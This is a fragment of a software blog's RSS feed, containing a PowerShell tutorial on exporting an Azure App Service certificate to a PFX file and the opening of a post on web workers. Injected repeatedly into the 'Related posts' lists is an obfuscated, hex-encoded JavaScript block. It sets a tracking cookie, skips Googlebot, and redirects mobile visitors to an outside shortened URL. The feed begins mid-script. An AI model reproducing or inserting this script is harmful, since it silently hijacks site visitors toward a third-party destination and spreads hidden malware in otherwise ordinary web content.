)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/12/08/powershell-check-whether-file-locked/" rel="bookmark" title="Powershell: Check whether a file is locked">Powershell: Check whether a file is locked </a></li>
</ol>
</div>
]]></description>
										<content:encoded><![CDATA[<p>In order to debug a webjob running in an Azure App Service and accesses a service using a certificate, I needed to create a local copy of the certificate to be able to run the webjob on a local machine. The Azure portal unfortunately only provides these options:</p>
<ol>
<li>Import an existing App service certificate</li>
<li>Upload a certificate</li>
<li>Delete a certificate</li>
</ol>
<p>So there is no option to download a certificate. But this can be used using PowerShell and the <a href="https://www.powershellgallery.com/packages/AzureRM">AzureRM module</a>.</p>
<p>First, we&#8217;ll need to set a few variables with the data required to get the certificate:</p>
<pre><code class="language-csharp">$azureLoginEmailId = "me@benohead.com"
$subscriptionName = "mysubscriptionname"
$resourceGroupName = "myresourcegroupname"
$certificateName = "nameofthecertificateiwanttodownload"
$pfxPassword = "mygreatpassword"</code></pre>
<p>We&#8217;ll later use $pfxPassword to set a password in the created PFX file.</p>
<p>Then I need to login into Azure to be able to access the resources:</p>
<pre><code class="language-csharp">Login-AzureRmAccount</code></pre>
<p>You will see a popup where you can enter your credentials.</p>
<p>Then you need to select the appropriate subscription:</p>
<pre><code class="language-csharp">Select-AzureRmSubscription -SubscriptionName $subscriptionName</code></pre>
<p>Now, we&#8217;re ready to access the certificate resource which can be used to get the actual certificate from the key vault:</p>
<pre><code class="language-csharp">$certificateResource = Get-AzureRmResource -ResourceName $certificateName -ResourceGroupName $resourceGroupName -ResourceType "Microsoft.Web/certificates" -ApiVersion "2015-08-01"</code></pre>
<p>The returned resource object has next to the location, name, ID, type and resource group name also a Properties member which contains details about the certificate:</p>
<ul>
<li>subjectName</li>
<li>hostNames</li>
<li>issuer</li>
<li>issueDate</li>
<li>expirationDate</li>
<li>thumbprint</li>
<li>keyVaultId</li>
<li>keyVaultSecretName</li>
<li>keyVaultSecretStatus</li>
<li>webSpace</li>
</ul>
<p>All the pieces of information we need to retrieve the certificate from key vault are encoded in the keyVaultId except the keyVaultSecretName (which is also in the list above):</p>
<blockquote><p>/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourcegroups/xxxxx/providers/microsoft.keyvault/vaults/xxxxx</p></blockquote>
<p>So by splitting it to an array using / as a separator, you get resource group name for the key vault in the 5th element from the end and the key vault name in the last element.</p>
<p>So you can extract them like this:</p>
<pre><code class="language-csharp">$keyVaultId = $certificateResource.Properties.keyVaultId
$keyVaultData = $keyVaultId.Split("/")
$keyVaultDataLength = $keyVaultData.Length
$keyVaultName = $keyVaultData[$keyVaultDataLength - 1]
$keyVaultResourceGroupName = $keyVaultData[$keyVaultDataLength - 5]</code></pre>
<p>You also get the secret name like this:</p>
<pre><code class="language-csharp">$keyVaultSecretName = $certificateResource.Properties.keyVaultSecretName</code></pre>
<p>Now we can grant our user permissions to perform a &#8220;get&#8221; operation on the key vault:</p>
<pre><code class="language-csharp">Set-AzureRmKeyVaultAccessPolicy -ResourceGroupName $keyVaultResourceGroupName -VaultName $keyVaultName -UserPrincipalName $azureLoginEmailId -PermissionsToSecrets get</code></pre>
<p>And you can fetch the secret containing the certificate:</p>
<pre><code class="language-csharp">$keyVaultSecret = Get-AzureKeyVaultSecret -VaultName $keyVaultName -Name $keyVaultSecretName</code></pre>
<p>This secret contains a Base64 representation of the certificate which you can convert back to a certificate object using:</p>
<pre><code class="language-csharp">$pfxCertObject=New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 -ArgumentList @([Convert]::FromBase64String($keyVaultSecret.SecretValueText),"", [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)</code></pre>
<p>Now, the only step left is to write the certificate to a local PFX file:</p>
<pre><code class="language-csharp">[io.file]::WriteAllBytes(".\appservicecertificate.pfx", $pfxCertObject.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pkcs12, $pfxPassword))</code></pre>
<p>And there you are !</p>
<p>If you have found this page, you probably have also seen a couple of MSDN blog entries about a similar topic:</p>
<ul>
<li><a href="https://blogs.msdn.microsoft.com/appserviceteam/2017/02/24/creating-a-local-pfx-copy-of-app-service-certificate/">Creating a local PFX copy of App Service Certificate</a></li>
<li><a href="https://blogs.msdn.microsoft.com/benjaminperkins/2017/04/12/export-an-azure-app-service-certificate-pfx-powershell/">Export an Azure App Service Certificate PFX PowerShell</a></li>
</ul>
<p>That&#8217;s also where I started but since I had to adapt the code from these two blog entries, I decided to document it in this blog post. Hope this helps !</p>
<p>&nbsp;</p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/&amp;t=Export an App Service certificate to a pfx file with PowerShell" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/&amp;text=Export an App Service certificate to a pfx file with PowerShell" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/&amp;title=Export an App Service certificate to a pfx file with PowerShell" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/">Export an App Service certificate to a pfx file with PowerShell</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->
<p>Related posts:</p><ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/12/08/powershell-check-whether-file-locked/" rel="bookmark" title="Powershell: Check whether a file is locked">Powershell: Check whether a file is locked </a></li>
</ol>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cross domain and cross browser web workers</title>
		<link>https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/</link>
					<comments>https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/#comments</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Wed, 06 Dec 2017 14:11:57 +0000</pubDate>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Programming]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9070</guid>

					<description><![CDATA[<p>What are web workers? A web worker is a script that runs in the background in an isolated way. They run in a separate thread and can perform tasks without interfering with the user interface. Since the scripts on a page are executed in a single thread of execution, a long running script will make [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/">Cross domain and cross browser web workers</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->

Related posts:<ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/12/07/cross-document-communication-with-iframes/" rel="bookmark" title="Cross-document communication with iframes">Cross-document communication with iframes </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 